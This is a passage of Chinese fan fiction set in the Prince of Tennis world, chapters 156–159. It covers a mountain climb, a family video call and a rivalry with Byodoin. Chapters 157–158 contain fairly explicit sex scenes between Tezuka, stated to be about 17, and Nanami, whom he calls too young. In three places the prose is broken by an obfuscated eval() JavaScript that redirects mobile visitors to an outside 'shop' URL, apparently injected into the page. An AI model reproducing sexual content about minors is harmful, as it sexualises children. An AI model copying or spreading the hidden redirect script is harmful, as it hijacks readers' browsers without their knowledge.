“国光,这时候你应该主动提问我想要什么。” “七海,你想要什么?” 四目交汇,她一字一顿: “手冢国光,我想要你,就现在。” 156.第 156 章 “手冢国光,我想要你,就现在。” 七海紧盯着他不放,眼看着他的耳廓慢慢变红,脸上却还是那副冷峻平和的表情。 “七海......明天还要爬山,不合适。”他扶了扶眼镜。 她知道他紧张的时候就会扶眼镜,七海挑了挑眉:“所以只是时间上不合适,行动上你不拒绝啦?” “七海,你还太小了。” “国光,我难得提出一次自己想要做的事,你就非要拒绝我不可吗。”她垂着头轻声道。 “......好。”他几不可闻地轻叹了口气。 七海猛地抬头:“我听到了!国光,不能反悔哦,那,那我们爬完山回去以后就......”她的脸好像和那堆木柴一样烧起来了。 “啊。”他挪开脸,再次不自然地扶了扶眼镜,脸上泛起可疑的红晕。 “对了,塞弗里德拿来的是一瓶什么?”她转移话题。 手冢国光起身,拿起矮桌上的小瓶子,“是伏特加。” “是为了活血加保暖吧,那我们都喝一点好了。”七海马上意识到这瓶酒的作用。 “啊。喝完了就早点睡吧。” 明早天不亮就要启程,从今晚的风雪来看,后半段路恐怕不会多顺利。 他回到床边,七海接过旋开的酒瓶,干脆地灌了一大口再递回去,见少年把剩下的一半也喝完了,她这才脱下外衣裤,爬到床铺里侧拍了拍身下的软垫,笑得促狭。 “那我们睡觉吧。” “嗯。” 窗外是呼啸的山风,她很快对着他蜷成一团睡着了。手冢起身往壁炉里加了几把木柴,回到床上躺下,摘下眼镜,他将她的小腿放在自己的腿间轻揽过她的身子,闭上双眼。 90% ------------------------- 天色尚黑着,冢海两人便被闹钟叫醒。 “国光......好早啊......”七海揉搓着惺忪的睡眼,待到视线内一切都变得清晰才发现,昨晚她居然把自己的腿放在了他的两腿之间......二阶堂七海,你,你的腿,怎么这么无师自通! “啊。我们收拾一下东西就去和其他人汇合出发。”手冢国光似乎比闹钟醒得还早,却只侧躺着没有起床。 七海爬起来冲着他眨了眨眼又闭上眼,他心领神会地起身在她唇上轻轻一吻。 一番收拾后,他们推门出去,才发现昨天下午还裸露的地面已经积了一层足以没过脚踝的雪。 德国队的其他少年们也已在大木屋外集结,塞弗里德一见冢海两人便开始讪笑,七海直接扔过去一记眼刀,示意他不该说的话别说。 一行人于初升的曦光中继续向高处攀登,然而,后半段路的难度还是远超七海的想象。 “天呐,山羊爬得比我快多了,难怪只有goat才能被称作世界第一。”七海望着不远处在陡峭山壁间自由跑动的山羊,不由自主苦中作乐地吐槽。 “没有关系,我们慢慢来,七海,你跟着我踩的点位走。”手冢国光耐心道。 “嗯,我知道。” 五小时后。 “国光,对不起......我拖后腿了。”七海歉然道,其他人早已走在前头,只有他们两个因为她再次落在了后面。 碎石坡上处处都是未完全融化的积雪,每一步都爬得举步维艰,再往上爬,便是只能靠紧抓着钢缆一点点向高处攀行的大陡坡。 坡度之陡峭,简直快与地面垂直,再加之积雪使得坡面变得湿滑,难度再次攀升。 此刻,他们就在这片陡坡的半途。 头顶是曝晒的烈日,体内的水分流失地飞快,七海不住的喘着气,只觉得头一阵阵发晕,耳鸣声绷成一条直线,不间歇地从耳畔刺过。 “以后不要再和我说对不起。”该说这句话的人,从始至终只有他,而不该是她。 “啊?”他的声音带着几分强硬,七海抬头,怔住了。 手冢国光却没有再过多解释,“七海,你还好吗?”她看起来状态算不得好。 不是逞强的时候,七海诚实作答:“好像不太好,我感觉有些头晕胸闷,可能是高反了。” 听完这句话,手冢果断将她的安全绳从钢缆上取下,挂在了自己的腰间。 “七海,这是最后一段路了。你跟着我,我们慢慢来。”现在回头不切实际,不如早点抵达峰顶,再坐缆车下去让她尽快休息。 “好,我还能坚持。”她用力点了点头,一手抓住钢缆一手扒着石块继续一步步向上攀爬。 最后一段爬坡仿佛是一场漫无止境的折磨,每前进一英尺都无比艰难。 七海轻喘着气,眉头紧蹙,面色发白。用力抠着石块,她的手和脚已经无法自控地开始发抖,处在意识弥散的临界点,只剩下意志力在支撑着继续向前。 一步,接一步,脑海中除了前行再装不下任何杂念。 直到视线中出现了灰色的台阶,直到金色的十字架近在眼前。 “国光,我们这是要到了吗?”她咬紧牙确认。 “嗯。七海,我们到了山顶,我就带你坐缆车下去。” “好。” 终于—— “天呐,终于到了!” 站在楚格峰顶,她这才敢回头看一眼身后的美景。远处是层峦叠嶂的阿尔卑斯山脉,如同大地上凝固的灰黑色海浪。青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555590|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰色的群峰在云雾的蒙蔽下若隐若现,恢弘磅礴,天空湛蓝而广阔。 骤然放松后,她眼前的壮阔景致逐渐被黑色笼罩。 “国光,拜托你扶着我,我要休息一下。”话音刚落,她便彻底失去力气跌落在他的怀中。 “七海!”他的声音很是焦急,她的眼前漆黑一片,意识却尚未泯灭。 “我没晕,我就是,休息一下。”七海闭着眼无力道。“待会儿我们就坐缆车下去,我不会有事的。” “七海她怎么了?!”其余德国队的少年们也终于闻讯赶来。 “她有些高反,待会儿我会先带她下去。”手冢国光应声。 “啊!这不是博格吗!啊啊啊还有QP和国光!!”不远处传来了一道惊喜的呼声。 他们几人如今已算是德国名气不小的职业网球选手,在峰顶被游客认出倒也不是什么奇怪的事,这一句惊呼也引来了其他游客的瞩目。 “国光,你能帮我签个名吗?”有人直接从包里掏出纸笔小跑过来。 “抱歉,现在不行。”手冢国光沉着张脸,直截了当地拒绝了。 不再理会粉丝在一旁咋呼地对德国队的一众选手们提出的合影签名要求,他将七海的背包取下,找出葡萄糖便往她嘴里一点点灌。 “塞弗,那个人,是国光的女朋友吗?”粉丝拿到其他几人的签名心满意足,开始八卦。 “嗯,现在最好不要打扰他们......” “那个女生的长相好眼熟啊......啊!不就是一年前,世界杯的那个日本队教练吗!” 虽然销声匿迹了一年多,可一年前那场黑马腾空出世的世界杯实在过于令人印象深刻,而那个日本队女教练更是被人们所津津乐道了好一阵。 毕竟,纵使网球不是所有人都感兴趣,情感八卦却是全民热衷的一件事。 “国光在和日本队的教练交往?!”粉丝A目瞪口呆。 那边七嘴八舌地讨论着,七海总算从眼前发黑的状况中恢复过来,扶着手冢的手站了起来。 “活回来了,活回来了......”七海嘴上喟叹,心中则为自己找补着,一定是在混沌里呆了太久,体力退化的缘故。 “七海。”她刚结束腹诽,便骤然陷入了一个收紧的拥抱中。 “以后,我陪你去做你想做的事,去你想去的地方。” 他的生活曾经井然有序,只余他的目标,他想做的事,按部就班地进行着,无人有能力改变他的执着,他心中的规则与秩序。 可是此刻,手冢国光终于明白—— 人生百年,爱是秩序外的一瞬。 她是他秩序外的一瞬。 100% 157.第 157 章 一路缆车下来,回到手冢家,七海便直接被搀扶到了沙发上。 “七海,你现在好些了吗?” 七海靠着沙发背点了点头,“一下来就感觉好多了。” “国光,我明天就要去瑞士了,现在日本那边应该是晚上10点,要不我们现在就和你的爸爸妈妈打视频电话?他们休息了吗?” “他们应该都醒着。但是,七海你没问题吗?”手冢国光坐在沙发上盯着她眉头紧锁。 “嗯,我没那么柔弱啦。你和你的爸爸妈妈说一声,只要他们有空的话,我们就见一面吧,呐?”她笑着歪了歪头。 “......好。”看她确实无事的样子,他点了点头,拨通了一个电话。 “母亲,现在你和父亲祖父有空吗?......我想介绍——”还没等手冢国光说完介绍什么,电话另一头就传来一道激动高昂的女声,七海听得不甚清晰,只看得出手冢的表情僵硬了两秒。 “啊。嗯,是她......叫她七海就可以,好。” “七海,父亲母亲他们说有空。”挂断电话,手冢平静道。 “好,那你就发起视频通话吧。”七海说完这句话狠狠做了个深呼吸,随即想起了什么又着急忙慌抬手制止了手冢国光按屏幕的动作。 “等一下,国光,我先去梳个头化个妆,换身衣服。”她身上还穿着爬山时穿的黑红色冲锋衣,长发被山风吹得凌乱不堪。 “没有关系,他们不会介意。” 七海坚决道:“不行,这样也太邋遢了。” “我很快就下来!”不等手冢国光坚持,七海一溜烟跑上二楼。十几分钟后,她再次一溜烟跑回客厅,整个人的造型已然大变样—— 她化了个淡妆,睫毛纤长卷翘,眼尾被微微拉长,涂上唇釉的嘴唇微红水润,长发柔顺地披散在肩头。身上的衣服也换成了一条浅蓝色的娃娃领连衣短裙,看起来精致乖巧。 手冢国光极少见到她打扮得如此精致的模样,沉默了几秒才扶了扶眼镜夸赞起来:“七海,你这样穿......很好看。” “国光,以你的审美也觉得好看的话,我相信你的长辈也会觉得好看的。”七海笑着揶揄道。 “好了,我准备好了,你发起视频通话吧。” 为了一同入镜,两人紧挨着坐在沙发上,手冢国光按下发起通话键,几乎是按下的瞬间,屏幕另一头便接起了电话。 平板的大屏上出现了三张脸:一位笑意盈盈的少妇,一位穿着衬衫打着领结正襟危坐的中年男子,以及一位不苟言笑,看着就有几分凶相,下巴一圈络腮胡的老人。 “是七海吧!!”第一个惊喜发声的自然是手冢彩菜。 “伯母您好,大家好,我是二阶堂七海。初次见面,请多多指教。”七海的手紧紧揪着裙摆,不自觉就开始了刻板的自我介绍,或许是坐在最右边的老人神情过分严肃的缘故。 手冢国光默默伸出手,握住了七海放在裙摆上的右手。 “叫什么伯母,从今天开始就可以叫妈妈了,七海。”手冢彩菜笑得合不拢嘴。看看这孩子,又漂亮又聪明,和我们家国光简直是绝配啊。 七海陷入了呆滞状态,这也,太快了吧? “母亲,您太操之过急了。”手冢国光沉声批评道,屏幕上的少妇立刻捂嘴努力收敛了笑容。 “哎呀呀,是我太急了,七海你不要介意,那就先喊伯母吧,没事没事。” “好的,伯母。”七海乖巧道。对面的手冢彩菜又是一脸满意的神情。 两边随意聊了些家常话,得知冢海两人居然国小时就认识,手冢彩菜又是一通惊呼,连手冢国一都诧异地挑了挑眉。这个臭小子,有够能藏的啊。 总算该了解的都了解得差不多,刚才一直冷脸旁听的手冢国一才开口。 “国光,你现在是在和这个女孩子同居吗?” 手冢国光顿了顿,方才面色平静地回应:“是的,祖父。” “实在是太没有分寸了,还没有订婚怎么能同居!”手冢国一猛拍了一下桌子,屏幕两边除了手冢国光其他人都被这突如其来的动静吓了一跳。 “国光,既然已经同居了,过几天就回来订婚,否则成何体统!”老人的语气坚决。 “父亲,这件事也该听听两个孩子的想法是不是。”手冢国晴讪笑道。 手冢彩菜也帮着打圆场:“是啊,父亲,他们现在在德国,回来一趟多不方便呢。” “祖父,这件事情我们会自行商定。”手冢国光出声了。此话一出,屏幕对面三人面色各异,无他,这还是他们第一次看见自己的儿子/孙子忤逆他祖父的话。 “臭小子,谈了恋爱就翅膀硬了。” “我......”七海想自己该说点什么了,不能让他一个人承担。“对不起,是我不想那么早订婚结婚。” “嗯?为什么?”老人愈发面色不虞,眼底闪过一丝精光。 手冢国光握紧了那只温软的手,声音冷肃不变:“她有她的规划,祖父,不要再追问了。” 手冢国一面上表情越来越阴沉,吓得手冢彩菜直给儿子使脸色——国光,和你祖父硬碰硬可不行啊! 隔着屏幕,此刻的气氛有些僵化。 七海张了张嘴,正准备再说些什么,屏幕另一头的老人脸上突然转变成带着一丝满意的神色。 “呵,那就随你们吧。国光,好好对人家女孩子。” “啊。”手冢国光扶了扶眼镜,“父亲母亲,今天的通话就先到这里吧。” “好好,七海,以后我们没事多聊哦。”手冢彩菜笑着挥了挥手,七海乖巧回应。 ...... “国光,你的祖父刚才那一下,差点吓死我。”挂断电话,七海才夸张地轻抚着胸口。 “祖父他并不是坏人,七海,不必担心。”手冢国光心下无奈,祖父大约只是为了试探他到底有多坚定。 她轻笑着点了点头:“嗯,我能感受得到,国光,你的家人都是很好的人。” 结束一件大事,两人一起做了顿饭吃,手冢国光做日式菜肴,而七海,她直言要做几道中餐。她并未言明自己为什么会做中餐,手冢却心下了然。 海原祭舞会后的那一夜之后,他就意识到了她的来处。过去的那几年,她有时会脱口而出不一样的话,他本以为是她在学习外语,那一夜之后,他才意识到,那些话来自她的家乡。 “七海,你想回家看看吗?”手冢国光处理着手中的鱼肉,这个问题似乎只是随口一提。 “回家?”七海眨了眨眼,“怎么突然这么问?” “我指的是......你曾经的家。” 七海反应了好一会儿,才理解了他说的家指的是什么。“国光,那里,已经没有我的家人了。” 故土或许仍是那片故土,却已没有了她想寻找的人。 “七海,抱歉,我不该提起。”手冢歉然道。 “国光,不是你的错。”七海轻声道,“其实我曾有回去的机会,只是如果我的灵魂回去了,这里的我就会死掉。” 做出选择放弃回去的时候,她何尝不心如刀割。 她也曾在深夜中自我怀疑,是否做了错误的决定,两段几乎同样长度的人生,抉择太难。 少年手上的动作顿在半空中。 “死什么的太沉重了,哎呀,不该和你说的。”七海笑了笑,将切好的番茄放进碗里。 手擦净,他沉默着,将身侧的少女用力揽入怀中。 她决定打破如此沉重的氛围。“国光,晚上我们喝点酒吧。”然后她就壮着胆子可以这样那样。 “好。” ------------------------- 饭毕,碗洗净,两人之间的氛围逐渐变得微妙暧昧。 “国光,那,那我先去洗澡然后去房间等你洗完澡。”少女小脸通红。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565284|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊。”手冢的面色也没多自然。 洗完澡,七海非常心机地涂了点身体乳,化了个淡妆,换上了一条......方便施为的白色吊带短裙。 哟西,成败在此一举!七海在心中默默给自己打着气,回到房间照例将光线调整成昏黄,斜坐在柔软的棉被上,空气中暗香浮动,她的心跳得飞快。 少顷,洗完澡擦干身体和发梢上水珠的少年也走进房间。 “那,先从接吻开始?”七海仰头试探道,心中则抓狂着。 【啊,为什么这么不自然啊!】 手冢国光站在她面前沉默着扶了扶眼镜,俯视的视角,她的一切美好......一览无余,他下意识移开视线在她身侧坐下。 七海缓缓闭上了眼,她的下颌被他轻轻托起,腰被他炽热的手揽住,最后是唇上的一抹温热。 他们轻轻浅浅的吻着,很快,她的齿关被撬开,手冢国光细致而温柔地探索着,一步步加深这个绵长而缠绵的吻,直到她逐渐缺氧失神。 “唔......”本来温柔的索取不知何时已转为带有侵略性的掠夺,七海只觉得自己浑身上下都发热发软得厉害,热度不断攀升,她被他的灼热气息一点点渗透融化。 暧昧的空气将两人包裹其中,感官像是被放大了无数倍,她伸出手无助地轻抚过他的胸膛,微妙的悸动抽丝剥茧般拉扯着,逼得他揽着腰的手再次收紧了几分。 直到,她失去支撑的力气彻底倒在床上,透过朦胧的视线,眼前的少年像是被蒙上了一层薄纱,他平缓有节奏的呼吸声靠近耳畔变得清晰,镜片下,那双丹凤眼中透出的深重情意渐显。 他沉默地将唇从她的脖颈掠过一路向下,蔽体之物被轻易褪下,肌肤彻底暴露在空气中,激起身体一阵颤栗,她突然害怕起来,甚至想临阵脱逃,心绪摇摆不定。 “七海......你很美。”手冢看出了她的紧张,安抚道。 七海咬着唇,迷离的紫瞳中闪着点点光,她的声音微微发颤,“国光,我有点怕......” 手冢国光沉默了片刻。“算了吧,七海。” “不要......氛围都到这了。”她不甘心,“我们继续。” “嗯。”他的回应裹挟着一些早已无法压制的东西,如厚重的雾霭般沉沉压下,滚烫的手也于此时一路攀上,直至寻到花叶之间。 “七海,是这里吗?”他的声音分明很轻,她却在身周的朦胧热气中听得一清二楚。 “应,应该是吧。”她羞得快要哭了,下意识伸出手半遮住脸。 得到首肯,他沉下心侍弄。强烈的酥酸感不住地向下流窜,她的意识摇曳于湿热的空气中,像是游离的点点火星,只能被动地随波逐流,一次次经历着明暗交替的燃烧。 七海无助地弓起身,伸手想攀住什么却只触到空气,最后只能收回转而揪紧了枕头的一角。 手冢国光这才意识到她在寻找什么,伸出右手与她十指相扣。 她的手随着他的节奏一下下扣紧再松开,耳畔是她迷醉的声音,透过起雾的镜片,他凝视着她的目光缓缓沉下,一些浓烈的情绪在发酵下,于此刻彻底冲破残存的理性与秩序。 朦胧雾气中,轻喘与低吟交织,她只觉浑身像是被电流一次次击穿,所有感官达到极致,汹涌而来。 “七海......可以吗?” 她于意识迷离间轻点了点头—— “嗯!——国光,好疼,呜......”生理性的泪水不受控制地顺着眼角流出,她的声音抖得厉害,乌黑的发丝散乱在白色的床单上,散落在她的颈肩之间,凌乱而姝丽。 “算了,好吗?” “不,不好......” “......”他本该不顾她的意见主动停下,沉默片刻后却无法说出口,最终他只紧蹙着眉越发用力地与她十指相扣。 “七海,抱歉,我会慢一点。”他的语气缓慢而坚决。 158.第 158 章 醒来时,下身的刺痛提醒着昨夜发生的一切,七海呜咽起来。 “呜......”没有人告诉她会痛成那样啊。 “七海,还很痛吗?”手冢国光本闭着眼躺在她身侧,听到她的声音立刻睁开眼,摸索着戴上眼镜,扶着她坐起来。 七海瘪着嘴,听到安慰委屈迅速翻涌上来:“好痛......国光,我觉得我们可能不能在一起了,我们那里好像不适配......” 说到最后,红晕再次浮上脸颊,她在意识明灭之间,似乎隐约有瞄到一点轮廓,难以想象她居然能纳入他......难怪疼成那样。 手冢国光耳廓红成一片,语气却十分平静:“七海,第一次这样是正常的。”他大致查了些相关资料。 “还有第二次?!”七海双唇微张,眼底划过一丝慌乱,想到昨晚的疼痛下意识揪紧了被子。 他扶了扶眼镜面不改色,“多做几次才会慢慢适应。”根据查到的资料,那里是有弹性的,如果间隔时间太长反而才容易受伤。 七海呆愣了半晌,才反应过来说这句话的人居然是手冢国光,他,他怎么能一本正经地说出这么......的话。 之前坚决不碰她的人是他,现在说多做几次的人也是他...... 于是她很快意识到了其中的原因。 七海红着脸,大着胆子试探:“国光,那你舒服吗?你喜欢......我的身体吗?” “......”手冢沉默了几秒。 “七海,你很温暖......我很喜欢。”或者说,前所未有的餍足而食髓知味。 “对不起,让你受苦了。” “没关系......”她下意识反驳了,“如果慢慢会适应的话那就......多做几次?”说到最后,她还是有些忐忑,他应该不会骗她吧。 “嗯。”他的眼底温柔满溢。 七海转而想起了另一件事: “我本来还打算今天去瑞士的,现在这样,大概是去不成了......国光,说起来你今天没有去训练啊!”她这才反应过来哪里不对劲。 手冢国光微微点了点头:“啊,我和教练请假了。” “那今天就麻烦手冢部长照顾我啦。” ---------------------- 或许是她的恢复速度较一般人更快,下午时七海便觉得疼痛消退得七七八八,开始在手冢国光家四处乱晃。 无论是书房还是客厅还是卧室,视线所及,一切物品都摆放得整整齐齐,极大地满足了她这个同样稍有强迫症的人的视觉享受。 晚饭,照样是她坐在餐桌边等着他做好端上桌,七海想起了一件事—— “国光,既然你有写日记的习惯,那是不是国中时也有写日记呐?” “啊。”手冢国光放下筷子望着她平静道。 她托着腮,继续追问:“那是不是国中的日记也写了很多和我相关的内容?” “......嗯。” “国光,你是不是很喜欢我呀?”七海调侃道,眼角眉梢的笑意完全藏不住。 “七海,我很喜欢你。” 他承认得干脆,反而让她红了脸,讷讷地应了声“哦”低下头认真吃起饭来,桌对面的少年唇角微微扬起。 这样微妙而暧昧的氛围一直持续到了晚上睡前,两人坐在床上,她主动要求替他脱下衬衫。 房间里一片静谧,只有窗外婆娑的树影倒映在墙壁上,轻晃着。 七海往前挪了挪,视线专注地盯着衬衫上的纽扣,伸出双手他将扣子一颗接一颗解开,手指无意间划过他的胸前,隔着布料,撩起一丝接一丝的心痒。 手冢的喉结上下滚动了一番,最后仍旧只是低头观察着身前少女认真解扣子的模样,没有言语。直到纽扣全部解开,露出少年精壮的胸膛。 七海在这时却突然想起来了另一件事,止不住好奇,她抬头问:“国光,昨天......你为什么不摘眼镜?” “......七海,我想看清你。” 天呐!!七海在心中无声尖叫着,脸在一瞬间烧了起来,通红着脸将他的外套彻底脱下,她别开头低声道:“国光,现在轮到你了。” 她的吊带裙再次被两只骨节分明的手轻缓地褪下,下意识想伸手挡住那片春光时,双臂却被箍住。 “七海......不用遮住。”手冢国光沉声道。随即,他不再犹豫,将她拉到身前俯下身堵住了她的唇,一阵研磨吮咬,空气中只余她的呜咽声和细微的摩擦声。 ...... 松开唇,手冢国光默默注视着身前被吻得浑身发软,肤色泛着粉的少女,注意到她的耳廓和面颊一般通红,他试着凑到耳边轻吻了一下,身前的人立时发出一声轻吟—— “嗯!”七海下意识咬唇,低垂的眼睫轻颤着,口中发出不受控的声音于静谧中变得过分清晰,她只觉得自己全身要烧起来了。 金边眼镜下,棕黑色的瞳孔幽深了几分。 窗外不知何时下起了大雨,淅沥不绝的雨声透过窗户变得轻柔,回荡在屋内。 嘈杂的风与喘息低吟声,伴着肌肤相触的柔软声响交织着,凛冽的冷雨砸在玻璃上,却无法浸透潜伏在暗处的缭绕热流。 台灯散发出的昏黄暖光在他们的肌肤上流连,将两具身体一遍又一遍勾勒出暧昧又动人的光影轮廓,印照在米白色的墙上。 “七海,今天还疼吗?”变得粗重的喘息在她的耳畔环绕,心理上的羞涩夹杂着生理上的异样酥酸将她一波接一波推上浪潮顶端。 她无法回答,她的意识早已不属于自己,被碾碎在他时急时缓的攻势中。 一切都在变得潮湿。 没有谁在雨中,没有谁不在雨中。 静立于床头柜的黑色时钟,分针在雨声中缓缓走过一圈。直到暴雨渐歇,逐渐只余断续的雨水滴落声,啪嗒、啪嗒。 两道过快的心跳声变得清晰,连带着耳膜一鼓一鼓地震动。 “七海,我抱你去浴室清洗一下。”呼吸逐渐平复,手冢起身下床,打横抱起床上瘫软无力的少女。 “嗯......”七海将头埋在他的胸膛,闭着眼不敢睁开,声音又哑又轻,“洗完我们就睡觉,够,够了,不能再来了......” 她实在有些受不住,只觉得灵魂都要炸开散落到另一个世界。 他微微勾起唇:“啊,今晚去隔壁房间睡吧。” “嗯。”她努力勾紧他的脖子,闷声应道。 --------------------------- 晨曦微露,温和的阳光透过窗帘的缝隙,细碎地洒进房间。 七海于朦胧中睁开眼,映入眼帘的便是一张轮廓分明的睡颜—— 手冢国光闭着眼,茶色发丝散乱在额头,鼻梁高挑,狭长的睫毛在眼下投下一小片阴影,他的眉宇舒展,嘴唇却微抿着。 “国光......?”她试探地喊了一声,身旁的人缓缓睁开双眼,她难得见到他刚睡醒时带着几分迷茫不那么严肃的模样,有些可爱。 “七海,你醒了。”他转过身伸手试图去摸索放在床头柜的眼镜,七海干脆坐起身越过他帮他取了眼镜递过去。 “谢谢。”手冢国光戴上眼镜,也从床上缓缓坐起来。 只是他起身时,她才发现他白皙宽阔的肩背上被她的指甲抓出了一道道红痕,虽然她的身上也没好多少,到处都是暧昧的痕迹。 “啊......国光,对不起,把你抓痛了吧......”她心疼道,手轻抚过划痕处。 “七海,不必担心,我没事。”被她的手轻抚过,他的上身微僵了两秒。 仔细检查了一下,只是破了层皮,七海放下心来,随即,一阵恼意浮了上来,占据她的思绪。 昨晚他虽然信守承诺洗完澡没有再来,可是在浴室冲洗的时候居然,居然对她做了那样的事!最后她彻底瘫软伏在他身上,意识早已迷离不清。 “国光,昨天洗澡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575163|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,你怎么能......”她不知道该怎么说,脸已经红成了一片。 “抱歉,昨晚是我不好。”手冢国光一戴上眼镜就变回那副沉肃冷峻的表情,似乎对于自己嘴里说出的话有多无赖毫无自觉。 七海轻叹一口气,勉力从床上爬起来,打开衣柜翻找起合适的衣服。“唉。算了,反正我今天下午就要去瑞士了,我看时间也不早了,我们先一起去协会一趟吧?” 她正好和德国队的少年们道个别,再坐火车去苏黎世。 “啊。”手冢点头,起身穿上衣服,帮着一起收拾行李。 “七海,你还要去其他国家,大件行李就先放在这里吧,回日本前可以再回来取。” 听到手冢国光这一番话,她转过身,笑得促狭:“国光,是不是舍不得我走呀。” “嗯,舍不得。” 她的大脑一片空白。完了,手冢国光这个人现在可以面色自若地说情话了,好可怕。 她当然也舍不得他,然而,他们的身份不同,立场不同,注定聚少离多。想到这里,少女脸上的笑意淡了许多。 手冢国光似是看出她心中所想,跟着,说出了一句令她怎么也意想不到的话: “七海,今年的世界杯结束后,我会申请调回日本长居。” 寂静。 七海怔忡着恍惚着,许久,才反应过来。 “可是,你是德国队的选手。” “无妨,参加巡回赛本就需要往返各地。” 七海皱起眉,“不是这么说的,ATP的巡回赛赛点以欧洲和北美为主,回到日本无论你去哪里都不如留在德国方便。” 职业网球是一项365天的工作,顶级职业选手几乎一整年都在世界各地奔波,留在欧洲比待在日本在出行上要简便太多。 “国光,我很高兴你愿意为了我做出改变,可是我也不希望你把时间都花在路途上。这件事不再议了,我不同意。”她坚决道。 再次,须臾的无声之后,他开口。 “还有三年。” 七海愣了愣,什么还有三年? “还有三年,我和德国职业网球协会的职业合约就到期。”他们一共签了五年。 手冢国光的话看似没头没尾,七海却在瞬息间理解了他话中暗含的深意,声音无法抑制地颤抖起来。 “国光......你要回来吗?” 这曾是她最渴望的事,可是...... “国光,你别冲动。德国队对你有知遇之恩,合约一到期就走,你的名声会受到影响。”现在的他正处于事业上升期,这时走人,在外人看来是极不厚道的。 手冢只是沉默不语。 七海无奈地揉了揉眉心,心底的暖意缓缓弥散开。 “今天去协会的时候,我们和西格蒙德先生还有雷特鲁教练商议一下好吗?” “我不是不想你回来,只是,等一个更合适的时机吧?” 她耐心地一句句地劝慰着他别回去,他望着她的目光沉了又沉。 “啊。” ...... 抵达协会时,意外骤生。 “二阶堂那个蠢货在哪里。” “平等院?”七海目瞪口呆。 站在博格对面双手抱臂臭着脸的金发少年,是,平等院凤凰?! 他的头发被剪短了许多,一身黑T黑短裤,露出肌肉发达的臂膀和小腿,和之前不修边幅的大叔外形简直判若两人。唯一没变的是白色的发带和蓄着的一圈胡渣,以及发带下那双冷厉的黑眸。 平等院凤凰闻声而动,直接大踏步向她走来,不由分说地拽着她的胳膊就往电梯走去。 “你要做什么。”手冢国光面色一沉,堵在平等院面前。 “平等院,你要带我去哪里?”七海反应过来,试图掰开抓着自己胳膊的手,纹丝不动。 平等院扫了眼面前穿着黑红色德国队制服,面色冷峻的茶发少年—— “从现在起,这个女人是老子的。” 159.第 159 章 “从现在起,这个女人是老子的。” “平等院,你疯了?”七海仍保持着目瞪口呆的状态,这是在搞什么啊? 平等院凤凰斜睨了身侧被他紧拽着,暗中用力掰着他的手却屡战屡败的少女,一声冷哼。 “二阶堂,身为日本队的教练为了个男人跑到德国来,老子还没和你算账。” “拜托,我是德国队的顾问,什么叫为了个男人跑到德国来?”七海不服气道,继续掰他的手。可恶,这个人手劲怎么这么大! “呵,手冢国光。”不再理会她的辩驳,平等院凤凰将视线移向手冢,语气不善。 手冢国光皱眉,走上前也抓住了她的胳膊:“七海不想和你走,放开她。” “平等院,我已经在和国光交往了......” 平等院凤凰脸上丝毫未展露出意外的神色,挑了挑眉。“二阶堂,呵,你还说你不是为了这个男人来?” “老子无所谓你在和谁交往,老子要的人,想夺走就夺走了!” 七海彻底傻眼。这种话是可以随便说出口的吗? 她试探:“平等院,你该不会就是为了带我走特地跑来德国吧......” 被试探的人臭脸不语。七海扶额长叹,“也太乱来了吧,平等院。” “我这次来欧洲是有正事的,今天要去瑞士,票已经买好了。平等院,你不是还准备参加美网正赛吗?你先回去训练。”总之先把平等院劝回去。 平等院凤凰却完全没理会七海的絮叨,视线紧盯着面前的少年,“喂,手冢,你,美网去吗?” “啊。”手冢冷声应是。 “呵,那么就在那里让老子好好见识你的决心。拿不到大满贯,就滚回你的德国队,以后别再妄想二阶堂这个蠢货。赌吗?”金发少年勾起一个阴鸷的笑容。 手冢国光眼含冷意,垂在腿侧的拳头攥紧了:“我不会输!” 七海猝不及防间被平等院凤凰捏住下巴抬起,饱含威胁的冷厉视线直直射向她。“二阶堂,记住你的身份,这家伙是我们的敌人。” 松开手,平等院大步离去,七海转过头这才发现,刚才的那一幕,身后的德国队少年们旁观了全场。 “七海,手没事吗?”手冢忙关心道。 “应该没事......”七海低头看了眼刚才被平等院抓住的胳膊,已经红了一圈。 平等院这个家伙根本不知道收力,可恶,居然还说什么想要的女人就直接夺走,完全没考虑她的想法和意见。 雷特鲁于此时笑容满面地走过来,调侃道:“国光,看来这次的美网你要努力一把夺得大满贯呐。” “Ja.” “如果国光夺得大满贯的话,那岂不是刷新男单大满贯的最年轻记录了吗?”QP也附和。手冢国光,如今也不过才将将17岁。 “七海,我会夺得大满贯。”他与她的视线在此刻交汇。 七海站在原地,第一次感到茫然无措。 一年半前的世界杯,她坐在日本队的教练席上,理所当然地因为自己的立场,即使心痛也只能只应支持日本队夺冠。 可倘若,赛场上站着的,一边是自己阵营的选手,一边是自己的伴侣呢? 